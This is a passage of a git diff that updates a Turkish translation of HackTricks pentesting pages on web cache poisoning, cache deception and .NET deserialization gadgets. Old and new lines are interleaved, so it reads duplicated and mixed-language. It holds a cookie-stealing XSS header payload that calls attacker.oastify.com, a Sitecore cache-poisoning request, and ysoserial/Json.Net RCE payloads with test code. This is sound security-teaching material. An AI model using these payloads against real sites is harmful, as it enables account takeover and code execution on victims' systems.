URL'de ve gövdesinde aynı isteği içeren bir GET isteği gönderin. Eğer web sunucusu gövdesindekini kullanıp önbellek sunucusu URL'dekini önbelleğe alıyorsa, o URL'e erişen herkes aslında gövdesindeki parametreyi kullanır. James Kettle'in Github sitesinde bulduğu vuln gibi:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -150,55 +150,55 @@ There it a portswigger lab about this: [https://portswigger.net/web-security/web
### Parameter Cloacking
Örneğin ruby sunucularında **parametreleri** ayırmak için karakter olarak **`;`** yerine **`&`** kullanılabiliyor. Bu, anahtarsız parametre değerlerini anahtarlı parametrelerin içine koymak ve bunlardan istifade etmek için kullanılabilir.
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Burada [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) ile nasıl saldırı yapılacağını öğrenin.
Burada, [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) nasıl yapılır öğrenebilirsiniz.
### Automated testing for Web Cache Poisoning
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) otomatik olarak web cache poisoning için test yapmakta kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) otomatik olarak web cache poisoning için test yapmak amacıyla kullanılabilir. Birçok farklı tekniği destekler ve yüksek oranda özelleştirilebilir.
Example usage: `wcvs -u example.com`
### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Bu gerçek dünya örüntüsü, başlığa dayalı bir yansıtma primitive'ini CDN/WAF davranışıyla birleştirerek diğer kullanıcılara servis edilen önbelleğe alınmış HTML'i güvenilir şekilde zehirlemeye olanak tanır:
Bu gerçek dünya deseni, header tabanlı bir reflection primitive ile CDN/WAF davranışını zincirleyerek diğer kullanıcılara servis edilen önbelleğe alınmış HTML'in güvenilir şekilde zehirlenmesini sağlar:
- Ana HTML, güvenilmeyen bir istek başlığını (örn., `User-Agent`) çalıştırılabilir bağlama yansıtıyordu.
- CDN cache headerlarını kaldırdı fakat bir internal/origin cache mevcuttu. CDN ayrıca `.js` gibi statik uzantıyla biten istekleri otomatik olarak önbelleğe alıyordu; WAF ise statik varlıklar için yapılan GET'lere daha zayıf içerik denetimi uyguluyordu.
- İstek akışı anormallikleri, bir `.js` yoluna yapılan isteğin sonraki ana HTML için kullanılan cache anahtarını/çeşidini etkilemesine izin veriyordu; böylece başlık yansıtması yoluyla kullanıcılar arası XSS mümkün oluyordu.
- Ana HTML, güvenilmeyen bir request header'ını (ör. `User-Agent`) executable context'e yansıtıyordu.
- CDN cache header'larını çıkartıyordu fakat iç/origin cache mevcuttu. CDN ayrıca statik uzantılarla biten istekleri (ör. `.js`) otomatik olarak cache'liyordu ve WAF statik varlıklar için GET'lerde daha zayıf içerik denetimi uyguluyordu.
- İstek akışı tuhaflıkları, bir `.js` yoluna yapılan isteğin daha sonra gelen ana HTML için kullanılan cache key/variant'ı etkilemesine izin veriyordu; bu da header reflection yoluyla kullanıcılar arası XSS'e imkan sağlıyordu.
Pratik tarif (popüler bir CDN/WAF üzerinde gözlemlendi):
Pratik reçete (popüler bir CDN/WAF üzerinde gözlemlenmiştir):
1) Temiz bir IP'den (önceki itibar tabanlı düşürmelere sahip olmamaya dikkat ederek), tarayıcı veya Burp Proxy Match & Replace aracılığıyla kötü amaçlı bir `User-Agent` ayarlayın.
2) Burp Repeater'da iki isteklik bir grup hazırlayın ve "Send group in parallel" seçeneğini kullanın (single-packet mode en iyi sonucu verir):
- İlk istek: Aynı origin'de bir `.js` kaynak yoluna GET gönderin ve kötü amaçlı `User-Agent`'ınızı iletin.
- Hemen ardından: Ana sayfaya (`/`) GET gönderin.
3) CDN/WAF yönlendirme yarışı ve otomatik önbelleğe alınan `.js` genellikle zehirlenmiş bir önbelleğe alınmış HTML varyantını tohumlar; bu varyant daha sonra aynı cache anahtarı koşullarını paylaşan (örn. `User-Agent` gibi aynı `Vary` boyutları) diğer ziyaretçilere sunulur.
1) Temiz bir IP'ten (önceki itibar temelli düşürmelere maruz kalmamış), tarayıcı veya Burp Proxy Match & Replace ile kötü amaçlı bir `User-Agent` ayarlayın.
2) Burp Repeater'da, iki isteklik bir grup hazırlayın ve "Send group in parallel" kullanın (single-packet mode en iyi sonucu verir):
- İlk istek: Aynı origin'de bir `.js` kaynak yoluna GET atın ve kötü amaçlı `User-Agent`'inizi gönderin.
- Hemen ardından: Ana sayfaya (`/`) GET atın.
3) CDN/WAF yönlendirme yarışı ve auto-cached `.js`, genellikle zehirlenmiş bir önbelleğe alınmış HTML varyantını tohumlar; bu varyant daha sonra aynı cache key koşullarını paylaşan (ör. `Vary` boyutları gibi `User-Agent`) diğer ziyaretçilere servis edilir.
Example header payload (non-HttpOnly çerezleri sızdırmak için):
Example header payload (to exfiltrate non-HttpOnly cookies):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operasyonel ipuçları:
Operational tips:
- Birçok CDN cache headers'ı gizler; poisoning yalnızca saatler süren yenileme döngülerinde görünebilir. Rate-limit veya reputation tetikleyicilerini tetiklemeden kaçınmak için birden fazla vantage IP kullanın ve throttle uygulayın.
- CDN'in kendi cloud'undan bir IP kullanmak bazen routing tutarlılığını iyileştirir.
- Eğer sıkı bir CSP varsa, reflection main HTML context içinde çalışıyorsa ve CSP inline execution'a izin veriyorsa veya context ile bypass edilebiliyorsa bu hâlâ işe yarar.
- Birçok CDN önbellek başlıklarını gizler; poisoning yalnızca birkaç saatlik yenileme döngülerinde görünebilir. Rate-limit veya reputation tetikleyicilerinden kaçınmak için birden fazla vantage IP kullanın ve throttle uygulayın.
- CDN'in kendi bulutundan bir IP kullanmak bazen yönlendirme tutarlılığını artırır.
- Eğer katı bir CSP varsa, yansıtma ana HTML bağlamında çalıştırılıyorsa ve CSP inline yürütmeye izin veriyorsa veya bağlam tarafından atlatılıyorsa bu yine de çalışır.
Impact:
- Eğer oturum cookie'leri `HttpOnly` değilse, zero-click ATO, poisoned HTML ile hizmet verilen tüm kullanıcılardan `document.cookie`'nin toplu exfiltrasyonuyla mümkün olabilir.
- Eğer oturum çerezleri `HttpOnly` değilse, poisoned HTML ile sunulan tüm kullanıcılardan `document.cookie`'nin mass-exfiltrating edilmesi yoluyla zero-click ATO mümkün olabilir.
Defenses:
- Request headers'ı HTML'e yansıtmayı durdurun; kaçınılmazsa sıkı şekilde context-encode uygulayın. CDN ve origin cache policy'lerini hizalayın ve untrusted headers üzerinde varyasyon yapmaktan kaçının.
- WAF'in `.js` istekleri ve statik yollar üzerinde content inspection uyguladığından emin olun.
- Oturum cookie'lerinde `HttpOnly` (ve `Secure`, `SameSite`) ayarlarını yapın.
- İstek header'larını HTML'e yansıtmayı durdurun; kaçınılmazsa bağlama göre kesin şekilde encode edin. CDN ve origin cache politikalarını hizalayın ve güvenilmeyen header'lara göre vary etmeyin.
- WAF'ın `.js` istekleri ve statik yollar için içerik incelemesini tutarlı şekilde uyguladığından emin olun.
- Oturum çerezleri için `HttpOnly` (ve `Secure`, `SameSite`) ayarlayın.
### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
@ -209,7 +209,7 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Bu, saldırgan tarafından seçilen bir cache key altında rastgele HTML yazar; cache key'ler bilindiğinde hassas poisoning yapılmasını sağlar.
Bu, saldırganın seçtiği bir cache key altında keyfi HTML yazar; cache key'ler bilindiğinde hassas poisoning'e izin verir.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
@ -217,72 +217,72 @@ For full details (cache key construction, ItemService enumeration and a chained
../../network-services-pentesting/pentesting-web/sitecore/README.md
{{#endref}}
## Zafiyetli Örnekler
## Zayıf Örnekler
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS URL içindeki fragment'i temizlemeden iletti ve cache key'i yalnızca host, path ve query kullanarak oluşturdu (fragment'i görmezden gelerek). Bu nedenle `/#/../?r=javascript:alert(1)` isteği backend'e `/#/../?r=javascript:alert(1)` olarak gönderildi ve cache key içinde payload yoktu; sadece host, path ve query vardı.
ATS, URL içindeki fragment'i temizlemeden iletti ve cache key'i sadece host, path ve query'yi kullanarak oluşturdu (fragment'i yok sayarak). Bu yüzden istek `/#/../?r=javascript:alert(1)` backend'e `/#/../?r=javascript:alert(1)` olarak gönderildi ve cache key içinde payload yoktu, sadece host, path ve query vardı.
### GitHub CP-DoS
content-type header'ına kötü bir değer gönderilmesi 405 önbelleğe alınmış bir yanıtı tetikliyordu. Cache key cookie'yi içeriyordu, bu yüzden yalnızca kimliksiz kullanıcıları (unauth users) hedeflemek mümkün oldu.
content-type header'ında kötü bir değer göndermek, cache'lenmiş 405 yanıtını tetikledi. Cache key cookie'yi içeriyordu, bu yüzden sadece yetkisiz kullanıcıları hedeflemek mümkün oldu.
### GitLab + GCP CP-DoS
GitLab statik içeriği depolamak için GCP buckets kullanır. GCP Buckets **`x-http-method-override`** header'ını destekler. Bu yüzden `x-http-method-override: HEAD` header'ı gönderip cache'i boş bir response body döndürecek şekilde poison etmek mümkün oldu. `PURGE` metodunu da destekleyebiliyordu.
GitLab statik içeriği depolamak için GCP buckets kullanır. **GCP Buckets** **header `x-http-method-override`**'ı destekler. Bu yüzden `x-http-method-override: HEAD` header'ını gönderip cache'i boş bir response body döndürecek şekilde poison etmek mümkündü. Ayrıca `PURGE` metodunu da destekleyebilirdi.
### Rack Middleware (Ruby on Rails)
Ruby on Rails uygulamalarında sıklıkla Rack middleware kullanılır. Rack kodunun amacı **`x-forwarded-scheme`** header'ının değerini alıp isteğin scheme'i olarak ayarlamaktır. `x-forwarded-scheme: http` header'ı gönderildiğinde aynı konuma 301 redirect oluşur ve bu kaynak için potansiyel bir Denial of Service (DoS) yaratabilir. Ayrıca uygulama `X-forwarded-host` header'ını dikkate alıp kullanıcıları belirtilen host'a yönlendirebilir. Bu davranış, JavaScript dosyalarının saldırganın sunucusundan yüklenmesine yol açarak güvenlik riski oluşturabilir.
Ruby on Rails uygulamalarında Rack middleware sıkça kullanılır. Rack kodunun amacı **`x-forwarded-scheme`** header'ının değerini alıp request'in scheme'i olarak ayarlamaktır. `x-forwarded-scheme: http` header'ı gönderildiğinde aynı konuma 301 redirect oluşur, bu da söz konusu kaynağa potansiyel olarak Denial of Service (DoS) yapabilir. Ayrıca uygulama `X-forwarded-host` header'ını dikkate alıp kullanıcıları belirtilen host'a yönlendirebilir. Bu davranış, saldırganın sunucusundan JavaScript dosyalarının yüklenmesine neden olarak güvenlik riski oluşturabilir.
### 403 and Storage Buckets
Cloudflare eskiden 403 yanıtlarını cache'liyordu. Yanlış Authorization header'ları ile S3 veya Azure Storage Blobs'a erişmeye çalışmak 403 yanıtı üretir ve bu yanıt önbelleğe alınırdı. Cloudflare artık 403 yanıtlarını cachelemeyi durdurmuş olsa da, bu davranış diğer proxy servislerinde hâlâ mevcut olabilir.
Cloudflare daha önce 403 yanıtlarını cache'liyordu. Yanlış Authorization header'ları ile S3 veya Azure Storage Blobs'a erişmeye çalışmak, cache'lenen bir 403 yanıtı ile sonuçlanıyordu. Cloudflare artık 403 yanıtlarını cache'lemeyi bıraktıysa da bu davranış diğer proxy servislerinde hâlâ mevcut olabilir.
### Injecting Keyed Parameters
Cache'ler genellikle cache key'inde belirli GET parametrelerini dahil eder. Örneğin, Fastly'nin Varnish'i isteklerdeki `size` parametresini cacheliyordu. Ancak parametrenin URL-encoded bir versiyonu (örn. `siz%65`) yanlış bir değerle de gönderilirse, cache key doğru `size` parametresini kullanarak oluşturulurdu. Fakat backend URL-encoded parametrenin değerini işlerdi. İkinci `size` parametresini URL-encode etmek cache tarafından atlanmasına, ancak backend tarafından kullanılmasına yol açtı. Bu parametreye 0 değeri atanması cachelenebilir bir 400 Bad Request hatası ile sonuçlandı.
Cache'ler genellikle belirli GET parametrelerini cache key'e dahil eder. Örneğin, Fastly'nin Varnish'i isteklerde `size` parametresini cache'liyordu. Ancak parametrenin URL-encoded bir versiyonu (ör. `siz%65`) hatalı bir değerle de gönderildiyse, cache key doğru `size` parametresi kullanılarak oluşturulurdu. Buna karşın backend URL-encoded parametredeki değeri işlerdi. İkinci `size` parametresinin URL-encoding yapılması cache tarafından göz ardı edilmesine ama backend tarafından kullanılmasına yol açıyordu. Bu parametreye 0 değeri atamak cache'lenebilir bir 400 Bad Request hatasıyla sonuçlandı.
### User Agent Rules
Bazı geliştiriciler, FFUF veya Nuclei gibi yüksek trafikli araçların user-agent'larıyla eşleşen istekleri sunucu yükünü yönetmek için engeller. Ironik olarak, bu yaklaşım cache poisoning ve DoS gibi zafiyetlere yol açabilir.
Bazı geliştiriciler sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların user-agent'ları ile eşleşen istekleri engeller. Tersine, bu yöntem cache poisoning ve DoS gibi zayıflıkları ortaya çıkarabilir.
### Illegal Header Fields
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header isimlerinde kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığı dışındaki karakterleri içeren header'lar idealde 400 Bad Request yanıtı tetiklemelidir. Pratikte sunucular her zaman bu standarda uymuyor. Kayda değer bir örnek Akamai; geçersiz karakterler içeren header'ları iletir ve `cache-control` header'ı yoksa herhangi bir 400 hatasını cacheler. Örneğin `\` gibi yasadışı bir karakter içeren bir header göndermek cachelenebilir bir 400 Bad Request hatasına neden olacak şekilde kullanılabilir bulunmuştur.
[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) başlık adlarındaki kabul edilebilir karakterleri belirtir. Belirtilen **tchar** aralığının dışındaki karakterleri içeren header'lar idealde 400 Bad Request ile sonuçlanmalıdır. Pratikte sunucular her zaman bu standarda uymuyor. Önemli bir örnek Akamai; geçersiz karakterlere sahip header'ları ileterek, `cache-control` header'ı olmadığı sürece herhangi bir 400 hatasını cache'liyor. Örneğin `\` gibi yasadışı bir karakter içeren header göndermek cache'lenebilir bir 400 Bad Request hatası üretebiliyordu.
### Finding new headers
### Yeni header'lar bulma
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
Cache Deception'ın amacı, istemcilerin **cache tarafından kaydedilecek** kaynakları **duyarlı bilgileriyle birlikte yüklemesini sağlamak**tır.
Cache Deception'in amacı, istemcilerin **cache tarafından kaydedilecek ve içinde hassas bilgiler bulunan kaynakları yüklemelerini** sağlamaktır.
Öncelikle şunu unutmayın: `.css`, `.js`, `.png` vb. gibi **uzantılar** genellikle **cache'de saklanacak** şekilde **yapılandırılır.** Bu nedenle `www.example.com/profile.php/nonexistent.js` adresine erişirseniz, cache büyük olasılıkla yanıtı uzantıyı `.js` olarak gördüğü için saklayacaktır. Ancak **uygulama**, _www.example.com/profile.php_ içinde saklı olan **duyarlı** kullanıcı içeriklerini yanıtlıyorsa, bu içerikleri diğer kullanıcılardan **çalabilirsiniz**.
Öncelikle `.css`, `.js`, `.png` gibi **extensions** genellikle **cache'de saklanacak** şekilde **konfigüre edilir.** Bu nedenle `www.example.com/profile.php/nonexistent.js` adresine erişirseniz cache muhtemelen response'u saklayacaktır çünkü `.js` **extension**'ını görür. Ancak eğer **application** _www.example.com/profile.php_ içinde saklı olan **hassas** kullanıcı içerikleri ile yanıt veriyorsa, bu içerikleri diğer kullanıcılardan **çalabilirsiniz**.
Test edilecek diğer şeyler:
Other things to test:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Daha az bilinen uzantılar kullanın, örn._ `.avif`
- _Use lesser known extensions such as_ `.avif`
Başka çok açıklayıcı bir örnek şu write-up'ta bulunuyor: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Örnekte, _http://www.example.com/home.php/non-existent.css_ gibi olmayan bir sayfayı yüklediğinizde _http://www.example.com/home.php_ içeriğinin (**kullanıcının duyarlı bilgileriyle birlikte**) döndürüleceği ve cache sunucusunun sonucu saklayacağı açıklanıyor.\
Ardından, **saldırgan** kendi tarayıcısında _http://www.example.com/home.php/non-existent.css_ adresine erişip, daha önce bu sayfayı ziyaret eden kullanıcıların **gizli bilgilerini** gözlemleyebilir.
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Burada dikkat edilmesi gereken, **cache proxy**'nin dosyaları mime-type değil, dosya **uzantısına** (_.css_) göre **cache**leyecek şekilde **yapılandırılmış** olmasıdır. Örnekte _http://www.example.com/home.php/non-existent.css_ için `text/html` content-type dönecek ve `text/css` mime type olmayacaktır.
Unutmayın ki **cache proxy** dosyaları dosya **extension**'ına (_.css_) göre **cache**leyecek şekilde **konfigüre** edilmeli, content-type'a göre değil. Örnekte _http://www.example.com/home.php/non-existent.css_ için content-type `text/html` olacak, `text/css` mime tipi değil.
Buradan, HTTP Request Smuggling'i kötüye kullanarak Cache Deceptions saldırılarının nasıl gerçekleştirileceğini öğrenin: [ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
Burada nasıl yapılacağını öğrenin: [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).
## Otomatik Araçlar
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang ile yazılmış, bir URL listesindeki web cache poisoning zafiyetlerini bulmak ve birden fazla injection tekniğini test etmek için scanner.
- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.
## Referanslar
## References
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)

84
src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
View File

@ -1,38 +1,38 @@
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
# Temel .Net deserializasyonu (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
Bu yazı, ObjectDataProvider gadget'ının nasıl istismar edilerek RCE elde edildiğini ve Serialization kütüphaneleri **Json.Net** ve **xmlSerializer**'ın bu gadget ile nasıl kötüye kullanılabileceğini anlamaya adanmıştır.
Bu yazı, **ObjectDataProvider gadget'ının nasıl suistimal edilerek** RCE elde edildiğini ve bu gadget ile **Json.Net ve xmlSerializer** gibi Serialization kütüphanelerinin **nasıl kötüye kullanılabileceğini** anlamaya yöneliktir.
## ObjectDataProvider Gadget
Dokümantasyondan: _ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Evet, tuhaf bir açıklama; o halde bu sınıfın bu kadar ilginç kılan neye sahip olduğuna bakalım: Bu sınıf rastgele bir nesneyi **wrap** etmeye, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya**, ve ardından **MethodName** kullanarak belirlenen parametrelerle rastgele nesnenin **rastgele bir fonksiyonunu çağırmaya** olanak verir.\
Bu nedenle, rastgele **object** serileştirilirken **parametrelerle birlikte bir fonksiyonu çalıştıracaktır.**
Dokümantasyona göre: _the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
Evet, tuhaf bir açıklama; öyleyse bu sınıfın neden bu kadar ilginç olduğunu görelim: Bu sınıf, **herhangi bir nesneyi sarmalayıp**, _**MethodParameters**_ kullanarak **herhangi parametreleri ayarlamaya**, ve sonra **MethodName ile belirtilen herhangi bir nesnenin herhangi bir fonksiyonunu** bu parametrelerle **çağırmaya** izin verir.\
Dolayısıyla, serileştirme sırasında herhangi bir **nesne**, **parametrelerle birlikte bir fonksiyonu çalıştıracaktır.**
### **Bu nasıl mümkün**
### **Bu nasıl mümkün oluyor**
**System.Windows.Data** namespace'i, **PresentationFramework.dll** içinde `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` yolunda bulunur; ObjectDataProvider burada tanımlanıp uygulanmıştır.
ObjectDataProvider, `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` içindeki **PresentationFramework.dll** içinde tanımlanmış ve uygulanmış olup, **System.Windows.Data** ad alanında bulunur.
[**dnSpy**](https://github.com/0xd4d/dnSpy) kullanarak ilgili sınıfın kodunu **inceleyebilirsiniz**. Aşağıdaki görselde **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** kodunu görüyoruz.
[**dnSpy**](https://github.com/0xd4d/dnSpy) kullanarak ilgilendiğimiz sınıfın kodunu **inceleyebilirsiniz**. Aşağıdaki resimde **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** bölümünün kodunu görüyoruz:
![](<../../images/image (427).png>)
Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor; bunun ne yaptığına bakalım:
Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, bunun ne yaptığını görelim:
![](<../../images/image (319).png>)
Tamam, şimdi `this.BeginQuery()`'in ne yaptığını görmeye devam edelim. `BeginQuery` `ObjectDataProvider` tarafından override edilmiş ve yaptığı şey şudur:
Tamam, şimdi `this.BeginQuery()`'nin ne yaptığını görelim. `BeginQuery`, ObjectDataProvider tarafından override edilmiş ve şöyle çalışıyor:
![](<../../images/image (345).png>)
Kodun sonunda `this.QueryWorke(null)` çağrısına dikkat edin. Bunun neyi çalıştırdığını görelim:
Kodun sonunda `this.QueryWorke(null)` çağrıldığını unutmayın. Bunun ne çalıştırdığını görelim:
![](<../../images/image (596).png>)
Bu `QueryWorker` fonksiyonunun tamamı değil ama ilginç kısmı gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısı yapıyor; bu, **ayarlanan metodun çağrıldığı** satırdır.
Bu, `QueryWorker` fonksiyonunun tamamı değil ama ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını **yapıyor**; burası **ayarlanan metodun çağrıldığı** satırdır.
Eğer sadece _**MethodName**_'i ayarlamanın **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz:
Eğer sadece _**MethodName**_ ayarlayarak **çalıştırılacağını** kontrol etmek isterseniz, şu kodu çalıştırabilirsiniz:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -56,10 +56,12 @@ Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.
## ExpandedWrapper
Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an _**ObjectDataProvider**_ instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the _ObjectDataProvider_ instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Önceki exploit'i kullanırken bazı durumlarda **object** bir _**ObjectDataProvider**_ örneği olarak **deserialized as** edilecektir (örneğin DotNetNuke vuln'da, XmlSerializer kullanılarak, object `GetType` ile deserialized edilmiştir). Bu durumda _ObjectDataProvider_ örneğinin içinde sarılı olan object türü hakkında **hiçbir bilgiye sahip olmayacağız** (örneğin `Process`). DotNetNuke vuln hakkında daha fazla bilgiyi [buradan](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz.
This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (_ObjectDataProvider_) into a new object type and provide the properties we need (_ObjectDataProvider.MethodName_ and _ObjectDataProvider.MethodParameters_).\
This is very useful for cases as the one presented before, because we will be able to **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_.
Bu sınıf, belirli bir örnek içinde kapsüllenmiş olan nesnelerin türlerini **s**pecify etmenize olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türü içine sarmak ve ihtiyacımız olan özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\
Bu, daha önce belirtilen durumlar için çok kullanışlıdır, çünkü bir **wrap \_ObjectDataProvider**_** öğesini bir **_**ExpandedWrapper** \_ örneği içinde sarabileceğiz ve **when deserialized** olduğunda bu sınıf _**OjectDataProvider**_ nesnesini **create** edecek ve _**MethodName**_ içinde belirtilen **function**'ı **execute** edecektir.
You can check this wrapper with the following code:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -83,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
```
## Json.Net
In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Json.NET'in güçlü JSON serializer'ı ile herhangi bir .NET nesnesini serialize ve deserialize etme** yeteneğine sahip olduğunu belirtiyor. Yani eğer **ObjectDataProvider gadget**'ını deserialize edebilseydik, sadece bir nesneyi deserialize ederek bir **RCE** tetikleyebilirdik.
[official web page](https://www.newtonsoft.com/json) üzerinde, bu kütüphanenin **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer** sağladığı belirtiliyor. Bu yüzden, eğer **deserialize the ObjectDataProvider gadget** yapabilseydik, sadece bir nesneyi deserialize ederek bir **RCE** tetikleyebilirdik.
### Json.Net örneği
Öncelikle bu kütüphaneyi kullanarak bir nesnenin nasıl **serialize/deserialize** edileceğine dair bir örnek görelim:
Öncelikle, bu kütüphaneyi kullanarak bir nesnenin nasıl **serialize/deserialize** edileceğine dair bir örneğe bakalım:
```java
using System;
using Newtonsoft.Json;
@ -130,7 +132,7 @@ Console.WriteLine(desaccount.Email);
}
}
```
### Json.Net'in suistimali
### Json.Net'i Kötüye Kullanma
[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak exploit'i oluşturdum:
```java
@ -145,7 +147,7 @@ yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
Bu kodda **test the exploit**'i deneyebilirsiniz, sadece çalıştırın ve calc'in çalıştırıldığını göreceksiniz:
Bu kod ile **test the exploit** yapabilirsiniz, sadece çalıştırın ve calc'in çalıştırıldığını göreceksiniz:
```java
using System;
using System.Text;
@ -182,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Gelişmiş .NET Gadget Zincirleri (YSoNet & ysoserial.net)
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
Yukarıda tanıtılan ObjectDataProvider + ExpandedWrapper tekniği, bir uygulama **güvensiz .NET deserializasyonu** gerçekleştirdiğinde istismar edilebilecek ÇOK SAYIDA gadget zincirinden sadece biridir. Modern red-team araçları, ör. **[YSoNet](https://github.com/irsdl/ysonet)** (ve daha eski [ysoserial.net](https://github.com/pwntester/ysoserial.net)), onlarca gadget ve serileştirme formatı için **kullanıma hazır kötü niyetli nesne grafikleri** oluşturmayı otomatikleştirir.
ObjectDataProvider + ExpandedWrapper tekniği yukarıda tanıtılan birçok gadget zincirinden yalnızca biridir; bir uygulama **güvensiz .NET deserialization** yaptığında kötüye kullanılabilecek ÇOK sayıda zincir vardır. Modern red-team araçları, örneğin **[YSoNet](https://github.com/irsdl/ysonet)** (ve daha eski olan [ysoserial.net](https://github.com/pwntester/ysoserial.net)), onlarca gadget ve serileştirme formatı için kullanıma hazır **kötü amaçlı nesne grafikleri** oluşturmayı otomatikleştirir.
Aşağıda *YSoNet* ile gelen en kullanışlı zincirlerin özet bir referansı, nasıl çalıştıklarına kısa açıklamalar ve payload üretmek için örnek komutlarla birlikte verilmiştir.
Aşağıda *YSoNet* ile gelen en kullanışlı zincirlerin yoğunlaştırılmış bir referansı, nasıl çalıştıklarına kısa açıklamalar ve payload üretme örnek komutları yer almaktadır.
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|--------------|----------------------|--------------------|------------------|
